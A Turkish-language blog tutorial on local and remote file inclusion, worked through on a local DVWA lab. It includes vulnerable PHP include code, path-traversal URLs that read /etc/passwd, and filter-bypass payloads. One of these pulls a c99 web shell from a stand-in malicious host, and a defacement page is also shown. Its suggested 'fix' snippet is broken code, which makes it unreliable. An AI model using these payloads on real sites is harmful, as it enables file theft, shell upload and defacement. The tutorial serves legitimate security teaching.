Ana içeriğe atla

File Inclusion Web Zaafiyeti

        FILE INCLUSION

Arkadaşlar merhaba.  Bu makalemde sizlere bir tür web açıklığı olan file inclusion zaafiyetini anlatacağım.


File Inclusion Nedir?


File Inclusion , dosya dahil etme  yani saldırganın hedef web sitesine dosya dahil etmesine veya hedef web sitesinin kendinde olan ama sunmadığı bir dosyayı görüntületmesine denir.


File Inclusion açıklığını kullanan iki tür saldırı vardır :  Bunlardan birincisi Local File Inclusion  , ikincisi ise Remote File Inclusion olarak adlandırılmaktadır. Local File Inclusion saldırısı hedef sitenin barındırdığı sunucudaki ziyaretçilere sunulmamış dosyanın hedef site üzerinde görüntületilmesine denir. Remote File Inclusion saldırısı ise saldırganın hedef siteye kendi dosyasını(mesela shell dosyası)   görüntületmesine denir.


File Inclusion Acığı Tespiti


Hedef siteyi açtığımızda  açık  olup olmadığını anlamak için siteye hata verdirtmemiz gerekmektedir.

Örnek
www.canyoupwnme.com/articles.php?file =fileinclusion.html


www.canyoupwnme.com/articles.php?file=…..cypm.com  gibi …   Bu şekilde yönlendirebiliriz arkadaşlar . Amacımız siteye hata verdirtmek eğer yanlış giden bişeyler varsa veya bi hata verdirtirseniz orada açığın olduğunu anlayabilirsiniz.


Mesela örnek olarak bir RFİ  zaafiyetinin kaynaklandığı örnek kodu ve bu hatanın nasıl giderileceğini göstereceğim .
    ->    Örnek olarak Rfi Hatası


Eğer scriptlerde Rfi açık arıyorsanız, bunları iyi bilmeniz gerekmektedir.     
Mesela bir Rfi açık hazırlayalım.


                   <?php
$page=$_GET[page]; -> Rfi açığı burada page değerinde
include($page)
?>


    


  ->    Örnek olarak Rfi Hata Giderme
     Scriptlerdeki bugları bu konuda verilmiş örnekleri baz alarak kapatabilirsiniz.
<?php
$page=$_GET”./”;    Bu kodlamalar ile Rfi açığımızı fix etmiş bulunmaktayız.
?>


Shell Nedir?
Siteye yüklendiğinde sitede yetkiye göre dosya düzenleyip okumanıza yarayan yetkileriniz olur.Bu yetkiler yazma,okuma ve silme yetkileridir. Shell attığınız sitede bazen bir site sahibinin yetkilerini kullanabilirken bazende sunucu sahibinin yani host sahibinin yetkilerini kullanabiliyorsunuz sunucu sahibinin yetkileri oldukça fazladır.Bu olaya Permission Yetkisi denir.
Permissionları açık bir sunucuda tüm dosyaları değiştirebilir okuyabilirsiniz kısaca sunucunun sahibi sizsiniz demektir.


BackConnect Nedir?


Açık bir porttan servere bağlanmanızı sağlayan  yazılım diyebiliriz . Serveri rootlamada kullanılabilir ve genellikle lokala exploitleri çalıştırmada kullanılır.


Exploit Nedir ?


Exploit bilgisayar, yazılım, program veya dijital herhangi bir sistem üzerinde, sistem açıklarından, kod hatalarından faydalanarak istenmeyen veya planlanmamış hatalar oluşturmak için düzenlenmiş küçük kod veya programlardır. Örnek vermek gerekirse sisteme izinsiz giriş yapmak, yetkili kullanıcı oluşturmak, sistemi devre dışı bırakmak için oluşturulan programlardır.
          Exploitler çalışma prensiplerine göre birkaç farklı türde olabilirler. Genel olarak Exploitler sistemle iletişime geçme yöntemlerine göre üç ana kategoriye ayrılırlar.


  • Remote Exploit
  • Local Exploit
  • Client Side Exploit
Remote (Uzak) Exploitler sisteme local network veya internet gibi bir dijital ağ üzerinden sistemle etkileşimde bulunurlar.


Local (Yerel) Exploitler sistemin içerisinde bulunan genelde sistemdeki yetkili kullanıcı özelliklerini kullanmak için tasarlanmış Exploitlerdir.


Client uygulamaları etkileşen (Client Side) Exploitler ise genel olarak yine network üzerinden sistemlerle etkileşimde bulunmakla beraber kullanılmaları için client veya kullanıcılar tarafından tetiklenmeleri gerekir. Bu Exploitler genel olarak sosyal mühendislik atakları ile tetiklenirler.


  
         Şimdi örnek göstererek anlatmaya devam edelim ve arkadaşlar eğer isterseniz bu anlattıklarımı  DVWA üzerinde uygulayabilirsiniz tabi local hostunuza kurduktan sonra .


1)Low Level Local File Inclusion


Mesela bir hedef sitemiz olsun örnek veriyorum “  www.hedefsite.com?page=include.php  
 ‘ ?  ‘  işareti parametrelerin sıralanacağı kısmın başını ifade eder.    ‘ = ‘ işareti parametreye değer atanacağını ifade eder . Örnek olarak gösterdiğimsitede bir parametre birde onun değeri vardır. Bu parametrenin ismi page , yani sayfadır. Değeri ise dosya ismidir.  Görüldüğü üzere page parametresi  dosya ismi almaktadır ve aldığı değerlere göre içerik değiştirmektedir. Yani linkteki page parametresi içerik olarak yansıtılacak php dosyasını belirleyen bir dosya seçici olarak kullanılıyor. Bu seçim sonucunda mevcut sayfanın barındığı  erişemediğimiz dosyalara erişebiliyoruz. Sunucuda bir dosya index.php’ye, yani hali hazırda görüntülüyor olduğumuz File Inclusion sayfasına dahil ediliyor. Bu mekanizmaya File Inclusion, yani Dosya Dahil Etme denmektedir.Aşağıda bir kaç fotoğraf mevcut onları inceleyelim arkadaşlar. Yani incelediğinizde parametreye verdiğimiz değerler değiştikçe gelen veriler değişiyor.










Mesela linux  ve unix işletim sistemi sunucularında tutulan /etc dizini altındaki passwd gibi hassas bir dosyanın içeriğini sitenin linkindeki parametre değerini oynayarak sayfaya seçtirerek ekrana yansıtabilir miyiz? Eğer güvenlik önlemi alınmamışsa cevap evet.
Madem URL'in parametresi sunucuda bulunan dosyaların isimlerini alıyor ve buna göre ilgili dosyanın içeriğini ekrana yansıtıyor. O zaman bunu sunucuda kullanıcı adlarının ve detaylarının tutulduğu kullanıcı adlarının ve detaylarının tutulduğu  dosyayı yani /etc/passwd dosyasını  ekrana yansıtmak maksadıyla kullanmayı deneyelim. Bulunduğumuz dizin şudur (Linux üzerinde DVWA'yı çalıştırıyor olduğunuz varsayıldı):


Arkadaşlar işte böyle bir dizinimiz var —>     /var/www/dvwa/vulnerabilities/fi/


Yukarıdaki dizin şu an görüntülüyor olduğumuz sayfanın dizinidir. Bizim hedefimiz /etc dizinindeki passwd dosyasına ulaşmaktır.


/var/www/dvwa/vulnerabilities/fi/


dizininden var klasörüne geçebilmemiz için birkaç kez üst dizine çıkmamız gerekir. Yani var klasörüne varana kadar üst dizine çıkmalıyız:


fi                         ../
vulnerabilities     ../
dvwa                  ../
www                  ../
var                    ../


Böylece anlarız ki 5 tane ../ komutundan kullanırsak var’ın yer aldığı havuza, yani kök dizine ulaşırız. Eğer görüntülüyor olduğunuz sayfanın linkindeki page parametresine değer olarak


../../../../../
eklersek fi klasörünün içinden çıkıp  /var klasörünün yer aldığı klasör havuzuna erişiriz. Sıradaki işlem   etc klasörüne dallanmaktır. Bunun için /etc/ dizini eklenir ve sonrasında etc klasörü içerisinde barınan dosyanın ismi eklenir:


../../../../../etc/passwd
Bu şekilde;
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd




Linkini enter'ladığımızda ekrana kullanıcı adı, kullanıcıların ait oldukları gruplar gibi bilgiler, yani passwd dosyasının içeriği yansıtılır.


En son olarak aldığımız bilgiler ile Brute Force kullanılarak  hedef web sitenin sunucusuna sızılabilir.
Ayrıca açıklamalıyım ki bu basit görünen saldırıda önemli dosyalarda okunabilir.Mesela log dosyaları: access.log , error.log gibi. İş tamamen hedef sistemin klasör yapısını bilmeye bakıyor. Klasör yapısını ezberlemeye çalışmak pek mantıklı değil . Bilgisayarınızda bir linux sistemi açıp dilediğiniz kritik dosyayı sisteme CTRL+F ile arattırabilirsiniz. Böylece bulduğunuz dizini bu dersin URL’sindeki parametreye değer olarak koyup seçtiğiniz dosyanın içeriğini ekrana yansıttırabilirsiniz.


2)Low Level Remote File Inclusion


RFI saldırısı tıpkı LFI saldırısının kullandığı güvenlik zafiyeti olan File Inclusion açığından faydalanır. İşleyiş aynıdır. Fakat bu sefer ekrana dahil edilecek sayfa hedef sitenin sunucusunda yer alan dosya değil de harici bir dosya olacaktır.
Diyelim ki dahil edilecek harici dosyanın içerisinde şunlar var:


<br><br><br><br><br><br><br>
     <font color="red">
    <center>
<h1>CYPM  Tarafından Hacklenmiştir</h1>
</center>
         </font>
 <br><br><br><br><br><br><br>
Gördüğünüz gibi html  ile yazılmıs bir metin , işte biz bunu sitenin sunucusunda gösterebiliriz. Yani bu dosyanın olduğu yer aldığı bir web sitesinin linki page parametresinin sonuna eklenir.


http://localhost/dvwa/vulnerabilities/fi/?page=http://www.canyoupwne.com/cypm.html


Page parametresi LFI saldırısında hedef web sitesinin sunucularında barınan bir dosyanın dizin adresini alıyorken bu sefer harici bir link almıştır. Bu saldırı kodu tarayıcının adres çubuğuna girildiğinde  ekrana harici dosyanın içeriği yansıyacak ve sayfa hack'lendi süsü verilmiş olacaktır. Ayrıca yazımın başında belirttiğim gibi shell atabiliriz , bu bize sitede büyük bir yetki verecektir.



 3)Medium Level Local ve Romote File Inclusion


   Bu  sefer güvenlik önlemleri biraz daha artmış bir şekilde  inceleyeceğiz.
   


Lfi ve Rfi’ ya Karşı Önlem


Low leveldeki  kaynak kod şuydu arkadaşlar. Güvenlik Low Level iken görüldüğü üzere page parametresinden gelen dosya adı olduğu gibi include() fonksiyonuna giriyor ve sayfaya dahil ediliyor. page parametresinden gelecek dosya adları konusunda bir        denetleme mekanizmasına ihtiyaç vardır. Aksi takdirde dileyen dilediği dosya adını parametreye girebilir ve dilediği dosyayı sayfaya görüntületebilir.
<?php
$file = $_GET[ 'page' ];
include($file);
?>


Güvenlik seviyesi Medium'a çıkarıldığında kaynak koddaki değişim aşağıdaki gibidir:


<?php


$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
include($file);
?>


Medium seviyesinin kaynak kodunda yer alan ilk str_replace() fonksiyonu ile page parametresine değer olarak girilen dosya ismindeki http:// ve https:// gibi karakterler varsa silinir. Ardından ikinci str_replace() fonksiyonu ile windows sistemlerde üst dizine çıkmayı sağlayan ..\ karakteri ile linux  ve unix  sistemlerde üst dizine çıkmayı sağlayan ../ karakteri dosya isminden varsa silinir. Böylelikle ilk planda kusursuz görünen güvenlik temin edilmiş olunur.
İlk str_replace() ile Remote File Inclusion (RFI) saldırılarına karşı önlem alınmışken, ikinci str_replace() fonksiyonu ile de Local File Inclusion (LFI) saldırılarına karşı önlem alınmıştır. Fakat Medium seviyesinde alınan bu önlemler    aşılabilmektedir.  http:// ve https:// ‘lerden arındıran ilk str_replace() fonksiyonunu atlatıp yine RFI saldırısında bulunabilmenin yolu şudur: http:// karakterlerinin arasına http:// karakterlerini koymak.Eğer XSS inclerseniz scriptleri yazarken de  böyle bi yöntem kullanıyoruz.


localhost/dvwa/vulnerabilities/fi/?page=htthttp://p://zararlibirsite.com/c99.php


İşte arkadaşlar yukarıdaki gördüğünüz  saldırı kodunu ele alacak olursak Medium Level'daki lk str_replace() fonksiyonu aldığı page parametresinin değerini tarayacak ve kırmızı renkli karakterleri gördüğü an silecektir. Ardından str_replace()  kaldığı yerden taramaya devam edecektir. Fakat başa sarmayacaktır. Başa sarmadığı için arta kalanların birleşimi sonucu ortaya çıkan http:// karakterlerini fonksiyon yakalayamayacaktır. Böylelikle güvenlik aşılmış olacaktır ve RFI saldırısını gerçekleştirmiş bulunuyoruz. Çok hoş değil mi sizce de ?


Şimdi birde /etc/passwd dosyasına erişmeye çalışmalıyız.Bu dosya  kullanıcı adları ve şifrelerin bulunduğu dosya.Burda da bir sıkıntı var bunu da şu şekilde atlayacağız :
  localhost/dvwa/vulnerabilities/fi/?page=..././etc/passwd


Local File Inclusion'a karşı güvenlik önlemi olan ikinci str_replace() fonksiyonuna gelecek olursak kırmızı karakterleri gören ikinci str_replace() fonksiyonu kırmızı renkli üst dizin karakterlerini siliyor  ve kaldığı yerden tarama işlemine devam edecektir. Geride arta kalanlar ise birleştiğinde yine üst dizin karakterini (../) meydana getirecektir. Böylelikle dosyamıza ulaşmış olacağız.





Arkadaşlar yazımı burada sonlandırıyorum , iyi çalışmalar.

Dear Friends i will write in english like this article, coming soon.

Yorumlar

Bu blogdaki popüler yayınlar

C# Media Player - Mp4 Video Oynatıcısı

Arkadaşlar Visual Studio WPF uygulaması ile basit bir Mp4 Media Player yaptım kodlarını da sizle paylaşayım.Ayrıca System.Windows.Form  referansını eklemeyi unutmayınız. Lütfen kodları kopyalayıp yapıştırmadan deneyerek yapamadıgınız anda bakarak yazınız. using  System; using  System . Collections . Generic; using  System . Linq; using  System . Text; using  System . Threading . Tasks; using  System . Windows; using  System . Windows . Controls; using  System . Windows . Data; using  System . Windows . Documents; using  System . Windows . Input; using  System . Windows . Media; using  System . Windows . Media . Imaging; using  System . Windows . Navigation; using  System . Windows . Shapes; using  Microsoft . Win32; using  System . Windows . Forms; namespace  WpfGun7_250717 {          public   partial   class   MainWindow  :  Window     {          public   string  selectedFileName;          public  MainWindow()         {             InitializeComponent();         }   

Smalltalk Programlama Dili

SMALLTALK PROGRAMLAMA DİLİ             • Dilin tarihcesi Smalltalk, Alan Kay önderliğinde, aralarında Adele Goldberg, Dan Ingalls, Ted Kaehler'in bulunduğu bir grup tarafından Xerox PARC'ta (Palo Alto Research Center) geliştirilmiş nesne yönelimli bir programlama dilidir. 1969 yılında geliştirilmeye başlanmış , ilk sürümü 1972 yılında ortaya cıkmıstır ve ilk kararlı sürümü  Smalltalk-80 dir.  Nesneye yönelik programlamanın atası diyebiliriz yeni bir programlama tekniğine öncülük etmiştir. Lisp , simula gibi dillerinden de etkilenmiştir ve bir çok dili de etkilemiştir. • Dilin tasarım amacları(design goals)    Smalltalk projesinin amacı, herkesin yaratıcı ruhu için bilgisayar desteği sağlamaktır. İşimiz, yaratıcı bir bireyi ve mevcut en iyi bilgisayar donanımı içeren bir vizyona dayanır. İki ana araştırma alanına yoğunlaşmayı seçildi ve modeller arasında bir arayüz görevi gören programlama dili, bilgisayarın insan iletişim sistemi denilebilir.    Grafik

BURP SUİTE KULLANIMI

BURP SUİTE Arkadaşlar bugün size Burp Suite programını anlatamaya çalışacağım , Burp Suite Nedir? Burp Suite ‘e proxy aracı dyebiliriz arkadaşlar . HTTP-HTTPS  istemci-sunucu mimarisini kullanan sistemlerde araya girmemize yardımcı olmakta diyebiliriz ve baska bir kaç ozellikleride var bunlarda fazla detaya girmeyeceğim. Burp Suite Kurulumu  Arkadaşlar ilk olarak tarayıcımızı kuralım , burada firefoxu kullandıgımızı varsayarak anlatacagım ve bu tür işlerde firefox kullanmanızı tavsiye ederim . Şimdi ilk olarak firefoxta  “ Tercihleri “ acalım -> “ Gelişmiş’i  “ -> sonra ağ bölümünde “ Ayarlar ” seçelim. Daha sonra vekil sunucu ve iletişim noktasını(Port) elle ayarla seçeneğinden yazarak ayarlayacağız . Burada ; Vekil Sunucu : 127.0.0.1 veya İp adresiniz İletisim Noktası : 8080 olarak ayarlayalım , daha sonra  sistem vekil sunucu ayarlarını kullan diyelim. Şuan tarayıcımızla işimiz bitti   Sıra geldi Burp Suite programına ;